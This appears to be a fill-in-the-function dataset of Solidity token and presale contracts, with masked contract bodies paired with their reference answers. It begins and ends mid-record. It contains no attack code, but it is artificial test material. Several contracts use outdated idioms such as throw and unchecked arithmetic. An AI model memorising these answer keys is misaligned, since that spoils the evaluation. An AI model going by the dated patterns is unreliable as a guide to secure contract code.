function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } }
contract WorldElectronicSportsCoin { mapping(address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowed; using SafeMath for uint256; address public owner; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 private constant MAX_UINT256 = 2**256 -1 ; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); bool lock = false; constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { owner = msg.sender; balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } <FILL_FUNCTION> function transfer( address _to, uint256 _value ) public returns (bool) { require(balances[msg.sender] >= _value); require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value); require(_from == _to || balances[_to] <= MAX_UINT256 -_value); require(allowance >= _value); balances[_from] -= _value; balances[_to] += _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf( address _owner ) public view returns (uint256) { return balances[_owner]; } function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) onlyOwner public
function transferOwnership(address newOwner) onlyOwner public
3844
PausableToken
transfer
contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns(bool) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
contract PausableToken is StandardToken, Pausable { <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns(bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns(bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns(bool success) { return super.decreaseApproval(_spender, _subtractedValue); } }
return super.transfer(_to, _value);
function transfer(address _to, uint256 _value) public whenNotPaused returns(bool)
function transfer(address _to, uint256 _value) public whenNotPaused returns(bool)
48785
BabyMikasa
_getFee
contract BabyMikasa is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Baby Mikasa Inu"; string public constant symbol = unicode"BabyMikasa"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 14; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) {<FILL_FUNCTION_BODY> } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createNewPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiqNStart() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 200000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
contract BabyMikasa is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Baby Mikasa Inu"; string public constant symbol = unicode"BabyMikasa"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 14; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } <FILL_FUNCTION> function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createNewPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiqNStart() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 200000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee;
function _getFee(bool takefee, bool buy) private view returns (uint)
function _getFee(bool takefee, bool buy) private view returns (uint)
10929
PhiToken
transferFrom
contract PhiToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function PhiToken() public { symbol = "Phi"; name = "PhiCoin"; decimals = 10; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract PhiToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function PhiToken() public { symbol = "Phi"; name = "PhiCoin"; decimals = 10; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
// ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success)
59812
CsfERC20
null
contract CsfERC20 is Context, AccessControl, Ownable, ERC20Burnable, ERC20Pausable { using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol) {<FILL_FUNCTION_BODY> } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. * force setup DEFAULT_ADMIN_ROLE to owner, in case him has renounced DEFAULT_ADMIN_ROLE * beacuse he need to have almost DEFAULT_ADMIN_ROLE role to grant all role to the newOwner * Revoke all roles to the previous owner * Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the new owner */ function transferOwnership(address newOwner) public override onlyOwner { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(DEFAULT_ADMIN_ROLE, newOwner); grantRole(MINTER_ROLE, newOwner); grantRole(PAUSER_ROLE, newOwner); revokeRole(MINTER_ROLE, _msgSender()); revokeRole(PAUSER_ROLE, _msgSender()); revokeRole(DEFAULT_ADMIN_ROLE, _msgSender()); super.transferOwnership(newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public pure override { revert("CsfERC20: renounceOwnership function was disabled; please use transferOwnership"); } /** * @dev Throws if called by any account without `MINTER_ROLE`. */ modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "CsfERC20: MINTER role required"); _; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual onlyMinter { _mint(to, amount); } /** * @dev Throws if called by any account without `PAUSER_ROLE`. */ modifier onlyPauser() { require(hasRole(PAUSER_ROLE, _msgSender()), "CsfERC20: PAUSER role required"); _; } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual onlyPauser { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual onlyPauser { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); //addStakeholder(to); } }
contract CsfERC20 is Context, AccessControl, Ownable, ERC20Burnable, ERC20Pausable { using SafeMath for uint256; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); <FILL_FUNCTION> /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. * force setup DEFAULT_ADMIN_ROLE to owner, in case him has renounced DEFAULT_ADMIN_ROLE * beacuse he need to have almost DEFAULT_ADMIN_ROLE role to grant all role to the newOwner * Revoke all roles to the previous owner * Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the new owner */ function transferOwnership(address newOwner) public override onlyOwner { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); grantRole(DEFAULT_ADMIN_ROLE, newOwner); grantRole(MINTER_ROLE, newOwner); grantRole(PAUSER_ROLE, newOwner); revokeRole(MINTER_ROLE, _msgSender()); revokeRole(PAUSER_ROLE, _msgSender()); revokeRole(DEFAULT_ADMIN_ROLE, _msgSender()); super.transferOwnership(newOwner); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public pure override { revert("CsfERC20: renounceOwnership function was disabled; please use transferOwnership"); } /** * @dev Throws if called by any account without `MINTER_ROLE`. */ modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "CsfERC20: MINTER role required"); _; } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mint(address to, uint256 amount) public virtual onlyMinter { _mint(to, amount); } /** * @dev Throws if called by any account without `PAUSER_ROLE`. */ modifier onlyPauser() { require(hasRole(PAUSER_ROLE, _msgSender()), "CsfERC20: PAUSER role required"); _; } /** * @dev Pauses all token transfers. * * See {ERC20Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual onlyPauser { _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC20Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual onlyPauser { _unpause(); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override(ERC20, ERC20Pausable) { super._beforeTokenTransfer(from, to, amount); //addStakeholder(to); } }
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _setupDecimals(decimals); //Mint amount to the sender _mint(_msgSender(), initialAmount * (10 ** uint256(decimals)));
constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol)
/** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, `PAUSER_ROLE` to the * account that deploys the contract. * * See {ERC20-constructor}. */ constructor(string memory contractName, string memory contractSymbol, uint256 initialAmount, uint8 decimals) ERC20(contractName, contractSymbol)
68059
ProvidencePresale
forwardFunds
contract ProvidencePresale { using SafeMath for uint256; // uint256 durationInMinutes; // address where funds are collected address public wallet; // token address address addressOfTokenUsedAsReward; token tokenReward; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function ProvidencePresale() { // ether address wallet = 0x2F81D169A4A773e614eC6958817Ed76381089615; // durationInMinutes = _durationInMinutes; addressOfTokenUsedAsReward = 0x50584a9bDfAb54B82e620b8a14cC082B07886841; tokenReward = token(addressOfTokenUsedAsReward); startTime = now; // now endTime = startTime + 14*24*60 * 1 minutes; // } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; if(weiAmount < 1 * 10**18) throw; // calculate token amount to be sent uint256 tokens = (weiAmount) * 810; // update state weiRaised = weiRaised.add(weiAmount); tokenReward.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal {<FILL_FUNCTION_BODY> } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } function withdrawTokens(uint256 _amount) { if(msg.sender!=wallet) throw; tokenReward.transfer(wallet,_amount); } }
